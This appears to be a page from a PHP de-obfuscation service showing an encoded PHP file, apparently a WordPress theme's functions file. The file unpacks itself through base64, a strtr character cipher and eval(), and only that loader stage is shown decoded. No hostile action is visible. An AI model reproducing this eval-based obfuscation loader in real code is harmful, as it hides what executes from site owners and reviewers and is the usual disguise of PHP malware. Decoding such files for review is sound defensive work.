Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_C1767279132='Pz48P0RoRA0KDQoNCi8qKg0KKiBuTkggcSBYcXJnIFpOVUJxIG5xZGRO..

Decoded Output download

$_C1767279132=base64_decode($_C1767279132);$_C1767279132=strtr($_C1767279132,'wAXi8NBuKD2y6CcJE5VOTeajRHSY9lsmPWvqrokQM14pfGIxZzg70tnbhdLFU3','6AEFWeiLUpS0Y2xT1KR9H4gfXt5IB7NnrmZasvjPOk8zocJbMQyCquG3hlVDdw');$_R=str_replace('__FILE__',"'".$_F."'",$_C1767279132);eval($_R);$_R=0;$_C1767279132=0;

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_C1767279132='Pz48P0RoRA0KDQoNCi8qKg0KKiBuTkggcSBYcXJnIFpOVUJxIG5xZGROUGcgbmRmeHFkIGl0bUdIQmZtcg0KKg0KKiBARHFQcVcgckhQQm1hICRtcVdOIEpoTiBmREhCZm0gbXFXTg0KKiBAUE5IdFBtIGZ4a05HSHx4ZmZkIE1ESEJmbSBvcWR0TiBmbSBydEdHTnJyLCBqcWRyTiBCaiBtZiBvcWR0TiBOY0JySHINCiovDQogDQpCaiAoICEgVU5qQm1OVSgnQTkyUUFKVCcpICkgew0KCVVCTignUWROcXJOIFVmIG1mSCBkZnFVIEhoQnIgakJkTiBVQlBOR0hkZy4nKTsNCn0gIA0KIA0KLyoNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfCBYcXJnV05VQnEgbk5IIDdmbUhQZmQgUXFtTmQgTURIQmZtcg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqLw0KanRtR0hCZm0gTnFyZ19hTkhfZkRIQmZtKCAkbXFXTiApew0KICAgICROcXJnV05VQnFfb3FkdE5yID0gYU5IX2ZESEJmbSggJ05xcmdfV05VQnFfZkRIJyApOw0KICAgIEJqICggQnJfcVBQcWcoICROcXJnV05VQnFfb3FkdE5yICkgJiYgcVBQcWdfMU5nX05jQnJIciggJG1xV04sICROcXJnV05VQnFfb3FkdE5yICkgKSBQTkh0UG0gJE5xcmdXTlVCcV9vcWR0TnJbJG1xV05dOw0KICAgIFBOSHRQbSBqcWRyTjsNCn0gDQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgIEFGWllzIFZOYUJySE5QIEkyICYgNzIyDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KanRtR0hCZm0gTnFyZ1dOVUJxX1BOYV9yR1BCREgoKSB7DQoJLy8gNzIyICggTldhLXJOSEhCbWFyLkRoRCwgSEJtZ1dHTi1VZGEuRGhELCBXTkhxeGZjTnIuRGhEICkNCgkzRF9QTmFCckhOUF9ySGdkTiggJ05xcmdXTlVCcS1HRHJIZ2ROcicsIERkdGFCbXJfdFBkKCAnR3JyL2p0bUdySGdkTi5HcnInLCBVQlBtcVdOKF9faVl1WF9fKSApLCBqcWRyTiwgWEEyNlpYRllBX0xYVjJZTXMsICdxZGQnKTsNCgkzRF9QTmFCckhOUF9ySGdkTiggJ05xcmdXTlVCcS1HZmRmUERCRzFOUEdycicsIERkdGFCbXJfdFBkKCAnR3JyL0dmZGZQREJHMU5QLkdycicsIFVCUG1xV04oX19pWXVYX18pICksIGpxZHJOLCBYQTI2WlhGWUFfTFhWMllNcyApOw0KCTNEX1BOYUJySE5QX3JIZ2ROKCAnTnFyZ1dOVUJxLXJkVVAnLCBEZHRhQm1yX3RQZCggJ0dyci9yZEJVTlAuR3JyJywgVUJQbXFXTihfX2lZdVhfXykgKSwganFkck4sIFhBMjZaWEZZQV9MWFYyWU1zICk7DQoJM0RfUE5hQnJITlBfckhnZE4oICdOcXJnV05VQnEtQnh0SEhmbScsIERkdGFCbXJfdFBkKCAnR3JyL0J4dEhIZm0uR3JyJywgVUJQbXFXTihfX2lZdVhfXykgKSwganFkck4sIFhBMjZaWEZZQV9MWFYyWU1zICk7CQ0KCTNEX1BOYUJySE5QX3JIZ2ROKCAnTnFyZ1dOVUJxLUhCbWdXR04nLCBEZHRhQm1yX3RQZCggJ0dyci9IQm1nV0dOLkdycicsIFVCUG1xV04oX19pWXVYX18pICksIGpxZHJOLCBYQTI2WlhGWUFfTFhWMllNcyApOw0KCTNEX1BOYUJySE5QX3JIZ2ROKCAnazB0TlBnLXRCLUhoTldOci1QTlVXZm1VJywgRGR0YUJtcl90UGQoICdHcnIvazB0TlBnL2swdE5QZy10Qi9IaE5XTnIvcldmZkhobU5yci9rMHROUGctdEItRS5FeS55Lkd0ckhmVy5XQm0uR3JyJywgVUJQbXFXTihfX2lZdVhfXykgKSwganFkck4sIFhBMjZaWEZZQV9MWFYyWU1zICk7DQoJM0RfUE5hQnJITlBfckhnZE4oICdOcXJnV05VQnEtSEJtZ1dHTicsIERkdGFCbXJfdFBkKCAnR3JyL0hCbWdXR04uR3JyJywgVUJQbXFXTihfX2lZdVhfXykgKSwganFkck4sIFhBMjZaWEZZQV9MWFYyWU1zICk7CQ0KCTNEX1BOYUJySE5QX3JIZ2ROKCAnazB0TlBnLVd0ZEhCck5kTkdILUdycicsIERkdGFCbXJfdFBkKCAnR3JyL2swdE5QZy9XdGRIQnJOZE5HSC9rMHROUGcuV3RkSEJyTmROR0guR3JyJywgVUJQbXFXTihfX2lZdVhfXykgKSwganFkck4sIFhBMjZaWEZZQV9MWFYyWU1zICk7DQoJM0RfUE5hQnJITlBfckhnZE4oICdrMHROUGctV05yckItR3JyJywgRGR0YUJtcl90UGQoICdHcnIvV05yckIuR3JyJywgVUJQbXFXTihfX2lZdVhfXykgKSwganFkck4sIFhBMjZaWEZZQV9MWFYyWU1zICk7DQoJM0RfUE5hQnJITlBfckhnZE4oICdrMHROUGctZEJhaEh4ZmMtR3JyJywgRGR0YUJtcl90UGQoICdHcnIvZEJhaEh4ZmNfV04uR3JyJywgVUJQbXFXTihfX2lZdVhfXykgKSwganFkck4sIFhBMjZaWEZZQV9MWFYyWU1zICk7DQoJM0RfUE5hQnJITlBfckhnZE4oICdrMHROUGctYVVxMVBxV0hIQkQtR3JyJywgRGR0YUJtcl90UGQoICdHcnIvazB0TlBnL2swdE5QZy5IZmZkSEJEL2swdE5QZy5IZmZkSEJELkdycicsIFVCUG1xV04oX19pWXVYX18pICksIGpxZHJOLCBYQTI2WlhGWUFfTFhWMllNcyApOw0KCQkJDQoJLy8gSTIgKCBOV2Etck5ISEJtYXIuRGhEICkgDQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLWswdE5QZy1OcXJCbWEnLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9rMHROUGcuTnFyQm1hLkUuYi5rcicsIFVCUG1xV04oX19pWXVYX18pICkgKTsJDQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLUdmZGZQREJHMU5QJywgRGR0YUJtcl90UGQoICdrci9HZmRmUERCRzFOUC9HZmRmUERCRzFOUC5rcicsIFVCUG1xV04oX19pWXVYX18pICkgKTsJDQoJM0RfUE5hQnJITlBfckdQQkRIKCAnR2ZkZlBEQkcxTlAtTmdOJywgRGR0YUJtcl90UGQoICdrci9HZmRmUERCRzFOUC9OZ04ua3InLCBVQlBtcVdOKF9faVl1WF9fKSApICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnR2ZkZlBEQkcxTlAtdEhCZHInLCBEZHRhQm1yX3RQZCggJ2tyL0dmZGZQREJHMU5QL3RIQmRyLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSApOw0KCQ0KCS8vIEkyICggSEJtZ1dHTi1VZGEuRGhEICkgDQoJLy8zRF9QTmFCckhOUF9yR1BCREgoICdrMHROUGctdEItR3RySGZXJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvazB0TlBnLXRCLUUuRXkueS5XQm0ua3InICwgVUJQbXFXTihfX2lZdVhfXykgKSApOw0KCS8vM0RfUE5hQnJITlBfckdQQkRIKCAnazB0TlBnLXRCLUd0ckhmVy1FJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvazB0TlBnLXRCLUUuTy5DLkd0ckhmVy5XQm0ua3InICwgVUJQbXFXTihfX2lZdVhfXykgKSApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ2swdE5QZy1XdGRIQi1yTmQnLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9XdGRIQnJOZE5HSC9rMHROUGcuV3RkSEJyTmROR0gua3InLCBVQlBtcVdOKF9faVl1WF9fKSApICk7DQoJLy8zRF9QTmFCckhOUF9ySGdkTignZHFnZnRIa3InLCBEZHRhQm1yX3RQZCgna3IvR2ZkZlBEQkcxTlAvZHFnZnRILmtyJyAsIFVCUG1xV04oX19pWXVYX18pICkpOw0KCQ0KCS8vIEkyICggV05IcXhmY05yLkRoRCwgKSANCgkzRF9QTmFCckhOUF9yR1BCREgoICdrMHROUGctV3RkSEItck5kJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvV3RkSEJyTmROR0gvazB0TlBnLld0ZEhCck5kTkdILmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1HMU5VQkhmUCcsIERkdGFCbXJfdFBkKCAncVVVZm1yL0cxTlVCSGZQL0cxTlVCSGZQLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ2swdE5QZy1XTnJyQi1rcicsIERkdGFCbXJfdFBkKCAna3IvazB0TlBnL2swdE5QZy5XTnJyQi5XQm0ua3InLCBVQlBtcVdOKF9faVl1WF9fKSApICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnazB0TlBnLWRCYWhIeGZjLWtyJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvazB0TlBnLmRCYWhIeGZjX1dOLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ2swdE5QZy1hVXExUHFXLUhmZmRIQkQnLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9rMHROUGcuSGZmZEhCRC5rcicsIFVCUG1xV04oX19pWXVYX18pICkgKTsNCgkzRF9QTmFCckhOUF9ySGdkTiggJ2swdE5QZy1yRHFhQm1xSEJmbS1HcnInLCBEZHRhQm1yX3RQZCggJ0dyci9rMHROUGcvckJXRGRORHFhQm1xSEJmbS9yQldEZE5RcWFCbXFIQmZtLkdycicsIFVCUG1xV04oX19pWXVYX18pICkgKTsNCgkzRF9QTmFCckhOUF9yR1BCREgoICdrMHROUGctckRxYUJtcUhCZm0ta3InLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9yQldEZE5EcWFCbXFIQmZtL2swdE5QZy5yQldEZE5RcWFCbXFIQmZtLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSApOwkNCgkzRF9QTmFCckhOUF9yR1BCREgoICdrMHROUGctbWZIQmpnLWtyJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvbWZIQmpnLldCbS5rcicsIFVCUG1xV04oX19pWXVYX18pICkgKTsNCgkzRF9QTmFCckhOUF9yR1BCREgoICdrMHROUGctb3FkQlVxSE4ta3InLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9rMHROUGcub3FkQlVxSE4uV0JtLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSApOw0KDQp9DQpxVVVfcUdIQmZtKCAncVVXQm1fQm1CSCcsICdOcXJnV05VQnFfUE5hX3JHUEJESCcgKTsNCg0KDQpqdG1HSEJmbSBOcXJnV05VQnFfalBmbUhObVVfa3IoKSB7DQoNCgkvLzNEX1VOUE5hQnJITlBfckdQQkRIKCdqQkhITmNIJyk7IC8vIFVOUE5hQnJITlAJCQ0KCS8vM0RfUE5hQnJITlBfckdQQkRIKCAnakJISE5jSCcsIERkdGFCbXJfdFBkKCAna3IvazB0TlBnL2swdE5QZy5qQkhITmNILmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSwgcVBQcWcoKSwgWEEyNlpYRllBX0xYVjJZTXMsIEhQdE4gKTsJCQ0KCTNEX1BOYUJySE5QX3JHUEJESCggJ1dmZkhmZmRyLUdmUE4nLCBEZHRhQm1yX3RQZCggJ2tyL1dmZkhmZmRyL1dmZkhmZmRyLScgLk5xcmdfYU5IX2ZESEJmbSggJ05xcmdXTlVCcV9EZHRhQm1fR2ZQTicgKS4gJy5rcicsIFVCUG1xV04oX19pWXVYX18pICksIHFQUHFnKCksIFhBMjZaWEZZQV9MWFYyWU1zLCBIUHROICk7CQ0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1HZlBOJywgRGR0YUJtcl90UGQoICdrci9XZmZIZmZkci9OcXJnV05VQnEua3InLCBVQlBtcVdOKF9faVl1WF9fKSApLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1XTlVCcU5kTldObUhrcicsIFhabkZYaV9RdUtuWXNfS1Z1IC4nQm1HZHRVTnIvcVVVZm1yL1dOVUJxTmROV05tSC9XTlVCcU5kTldObUgtcW1VLURkcWdOUC5XQm0ua3InLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1CcmZIZkROJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvazB0TlBnLkJyZkhmRE4uV0JtLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSwgcVBQcWcoKSwgWEEyNlpYRllBX0xYVjJZTXMsIEhQdE4gKTsJCQ0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1xa3FjalBmbUhObVUnLCBEZHRhQm1yX3RQZCggJ2tyL2p0bUcvcWtxYy1qUGZtSE5tVS5rcicsIFVCUG1xV04oX19pWXVYX18pICksIHFQUHFnKCksIFhBMjZaWEZZQV9MWFYyWU1zLCBqcWRyTiApOwkNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEtalBmbUhObVUnLCBEZHRhQm1yX3RQZCggJ2tyL2p0bUcvalBmbUhObVUua3InLCBVQlBtcVdOKF9faVl1WF9fKSApLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywganFkck4gKTsNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEta0RxYU5yJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcva1FxYU5yLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSwgcVBQcWcoKSwgWEEyNlpYRllBX0xYVjJZTXMsIEhQdE4gKTsJCQ0KCS8vM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLWRxcGdkZnFVJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvazB0TlBnLmRxcGdkZnFVLldCbS5rcicsIFVCUG1xV04oX19pWXVYX18pICksIHFQUHFnKCksIFhBMjZaWEZZQV9MWFYyWU1zLCBIUHROICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLWRxcGcnLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9rMHROUGcuZHFwZy5XQm0ua3InLCBVQlBtcVdOKF9faVl1WF9fKSApLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOw0KCQ0KCS8vYlBVIERxUEhnJ3IgdUJhaEh4ZmMNCgkNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEtR2ZkZlB4ZmMnLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9qUGZtSE5tVWRCYWhIeGZjL0dmZGZQeGZjL2swdE5QZy5HZmRmUHhmYy1XQm0ua3InLCBVQlBtcVdOKF9faVl1WF9fKSApLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOwkNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEtZEJhaEh4ZmMnLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9qUGZtSE5tVWRCYWhIeGZjL2RCYWhIeGZjL2RCYWhIeGZjLldCbS5rcicsIFVCUG1xV04oX19pWXVYX18pICksIHFQUHFnKCksIFhBMjZaWEZZQV9MWFYyWU1zLCBIUHROICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLWpxbUdneGZjJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvalBmbUhObVVkQmFoSHhmYy9qcW1HZ3hmYy9rMHROUGcuanFtR2d4ZmMuRHFHMS5rcicsIFVCUG1xV04oX19pWXVYX18pICksIHFQUHFnKCksIFhBMjZaWEZZQV9MWFYyWU1zLCBIUHROICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLVdmdHJOM2hOTmQnLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9rMHROUGcuV2Z0ck4zaE5OZC1iLnkudy5EcUcxLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSwgcVBQcWcoKSwgWEEyNlpYRllBX0xYVjJZTXMsIEhQdE4gKTsNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEtanFtR2d4ZmMteHRISGZtcicsIFhabkZYaV9RdUtuWXNfS1Z1IC4nR3JyL3JIZ2ROci9qcW1HZ3hmYy9oTmRETlByL2swdE5QZy5qcW1HZ3hmYy14dEhIZm1yLmtyJywgcVBQcWcoKSwgWEEyNlpYRllBX0xYVjJZTXMsIEhQdE4gKTsNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEtanFtR2d4ZmMtV05VQnEnLCBYWm5GWGlfUXVLbllzX0tWdSAuJ0dyci9ySGdkTnIvanFtR2d4ZmMvaE5kRE5Qci9rMHROUGcuanFtR2d4ZmMtV05VQnEua3InLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1qcW1HZ3hmYy1IaHRXeHInLCBYWm5GWGlfUXVLbllzX0tWdSAuJ0dyci9ySGdkTnIvanFtR2d4ZmMvaE5kRE5Qci9rMHROUGcuanFtR2d4ZmMtSGh0V3hyLmtyJywgcVBQcWcoKSwgWEEyNlpYRllBX0xYVjJZTXMsIEhQdE4gKTsJDQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLURQTkhIZ0RoZkhmJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvalBmbUhObVVkQmFoSHhmYy9EUE5ISGdEaGZIZi9rMHROUGcuRFBOSEhnUWhmSGYua3InLCBVQlBtcVdOKF9faVl1WF9fKSApLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1qcW1HZ3hmY2pQTk4tTnFyQm1hJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvalBmbUhObVVkQmFoSHhmYy9qcW1HZ3hmY2pQTk4vazB0TlBnLk5xckJtYS1FLmIuRHFHMS5rcicsIFVCUG1xV04oX19pWXVYX18pICksIHFQUHFnKCksIFhBMjZaWEZZQV9MWFYyWU1zLCBIUHROICk7CQ0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1qcW1HZ3hmY2pQTk4tV2Z0ck4zaE5OZCcsIERkdGFCbXJfdFBkKCAna3IvazB0TlBnL2pQZm1ITm1VZEJhaEh4ZmMvanFtR2d4ZmNqUE5OL2swdE5QZy5XZnRyTjNoTk5kLWIueS5lLkRxRzEua3InLCBVQlBtcVdOKF9faVl1WF9fKSApLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOwkNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEtanFtR2d4ZmNqUE5OLWpxbUdneGZjJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvalBmbUhObVVkQmFoSHhmYy9qcW1HZ3hmY2pQTk4vazB0TlBnLmpxbUdneGZjLUUuYi5lLkRxRzEua3InLCBVQlBtcVdOKF9faVl1WF9fKSApLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1EaGZIZnIzQkROJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvalBmbUhObVVkQmFoSHhmYy9EaGZIZnIzQkROL0dmVU4uRGhmSGZyM0JETi5rMHROUGctYi55LlMuV0JtLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSApOwkNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEtMWRxcnInLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9qUGZtSE5tVWRCYWhIeGZjL0RoZkhmcjNCRE4vZEJ4LzFkcXJyLldCbS5rcicsIFVCUG1xV04oX19pWXVYX18pICkgKTsNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEta3JyZlAtR2ZQTicsIERkdGFCbXJfdFBkKCAna3IvazB0TlBnL2tycmZQL2tycmZQLkdmUE4ua3InLCBVQlBtcVdOKF9faVl1WF9fKSApICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLWtycmZQLXRIQmRyJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcva3JyZlAva3JyZlAudEhCZHIua3InLCBVQlBtcVdOKF9faVl1WF9fKSApICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLWtycmZQLXJkQlVOUCcsIERkdGFCbXJfdFBkKCAna3IvazB0TlBnL2tycmZQL2tycmZQLnJkQlVOUC5XQm0ua3InLCBVQlBtcVdOKF9faVl1WF9fKSApICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLURoZkhmeGZjJywgRGR0YUJtcl90UGQoICdrci9rMHROUGcvalBmbUhObVVkQmFoSHhmYy9EaGZIZnhmYy9rMHROUGcuRGhmSGZ4ZmMua3InLCBVQlBtcVdOKF9faVl1WF9fKSApLCBxUFBxZygpLCBYQTI2WlhGWUFfTFhWMllNcywgSFB0TiApOw0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS14Y3JkQlVOUCcsIERkdGFCbXJfdFBkKCAna3IvazB0TlBnL3hjcmRCVU5QL2swdE5QZy54Y3JkQlVOUC5XQm0ua3InLCBVQlBtcVdOKF9faVl1WF9fKSApICk7DQoJM0RfUE5hQnJITlBfckdQQkRIKCAnTnFyZ1dOVUJxLXhjcmRCVU5QLU5xckJtYScsIERkdGFCbXJfdFBkKCAna3IvazB0TlBnL2swdE5QZy5OcXJCbWEuRS5iLmtyJywgVUJQbXFXTihfX2lZdVhfXykgKSApOwkNCgkzRF9QTmFCckhOUF9yR1BCREgoICdOcXJnV05VQnEtamZIZlBxV3EnLCBEZHRhQm1yX3RQZCggJ2tyL2swdE5QZy9qZkhmUHFXcS9qZkhmUHFXcS5rcicsIFVCUG1xV04oX19pWXVYX18pICkgKTsJCQ0KCTNEX1BOYUJySE5QX3JHUEJESCggJ05xcmdXTlVCcS1CV3FhTmRmcVVOUCcsIERkdGFCbXJfdFBkKCAna3IvQldxYU5kZnFVTlAvQldxYU5yZGZxVU5VLkQxYVUua3InLCBVQlBtcVdOKF9faVl1WF9fKSApICk7DQoJCQ0KfQ0KcVVVX3FHSEJmbSggJzNEX05tMHROdE5fckdQQkRIcicsICdOcXJnV05VQnFfalBmbUhObVVfa3InICk7DQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgRk5qQm1Ocg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqLw0KVU5qQm1OKCAnWFpuX1kyX0FJQVInLCBOcXJnX2FOSF9mREhCZm0oICdOcXJnV05VQnFfVUJyTm1fcWtxYycgKSApOw0KJE5XYVdOV2ZQZyA9IChCbUgpIEBCbUJfYU5IKCdXTldmUGdfZEJXQkgnKTsNCiROV2FXTldmUGcgPSBOV0RIZygkTldhV05XZlBnKSA/IF9fKCdzL0EnKSA6ICROV2FXTldmUGcgLiBfXygnIFo5Jyk7DQoNCi8qIEpoTnJOIGpCZE5yIHh0QmRVIGZ0SCBIaE4gRGR0YUJtIHJETkdCakJHIGZESEJmbXIgcW1VIHFycmZHQnFITlUganRtR0hCZm1yLiAqLw0KUE4wdEJQTl9mbUdOIChYWm5GWGlfUXVLbllzX0ZZViAuICdCbUdkdFVOci9mREhCZm1yLkRoRCcpOyANCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgUWR0YUJtIEtEVXFITiA3aE5HMQ0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCg0KLyogQHJCbUdOIEUuUy55LmINCkJqICggTnFyZ19hTkhfZkRIQmZtKCAnTnFyZ1dOVUJxX1VCck5tX3RER2gxJyApID09ICdFJyApIHsNCkJtR2R0VU5fZm1HTihYWm5GWGlfUXVLbllzX0ZZViAuICdCbUdkdFVOci90RC1tZkhCakJOUC5EaEQnKTsNCn0NCiovDQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgIHVmcVUgN2ZtSFBmZCBRcW1OZA0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCkJtR2R0VU5fZm1HTiggWFpuRlhpX1F1S25Zc19GWVYgLiAnQm1HZHRVTnIvTldhLXJOSEhCbWFyLkRoRCcgKTsNCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgdWZxVSBpUGZtSCBYbVUgMkdQQkRIDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KQmogKCBOcXJnX2FOSF9mREhCZm0oICdOcXJnV05VQnFfVUJyTm1fRGR0YScgKSA9PSAnRScgKSB7CQ0KQm1HZHRVTl9mbUdOKCBYWm5GWGlfUXVLbllzX0ZZViAuICdCbUdkdFVOci9qUGZtSE5tVS5EaEQnICk7DQpCbUdkdFVOX2ZtR04oIFhabkZYaV9RdUtuWXNfRllWIC4gJ0JtR2R0VU5yL1VnbXFXQkctckhnZE4uRGhEJyApOw0KfQ0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICBBVVUgOEJVYU5ILCBaTkhxeGZjICYgMmhmUEhHZlVODQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KQm1HZHRVTl9mbUdOKCBYWm5GWGlfUXVLbllzX0ZZViAuICdCbUdkdFVOci9XTkhxeGZjTnIuRGhEJyApOyANCkJtR2R0VU5fZm1HTiggWFpuRlhpX1F1S25Zc19GWVYgLiAnQm1HZHRVTnIvcmhmUEhHZlVOLkRoRCcgKTsNCkJtR2R0VU5fZm1HTiggWFpuRlhpX1F1S25Zc19GWVYgLiAnQm1HZHRVTnIvSE5XRGRxSE5yL05XYS1yZEJVTlAtZm1OLkRoRCcgKTsNCkJtR2R0VU5fZm1HTiggWFpuRlhpX1F1S25Zc19GWVYgLiAnQm1HZHRVTnIvSE5XRGRxSE5yL05XYS1yZEJVTlAtSDNmLkRoRCcgKTsNCkJtR2R0VU5fZm1HTiggWFpuRlhpX1F1S25Zc19GWVYgLiAnQm1HZHRVTnIvSE5XRGRxSE5yL05XYS1HcVBmdHJOZC5Ea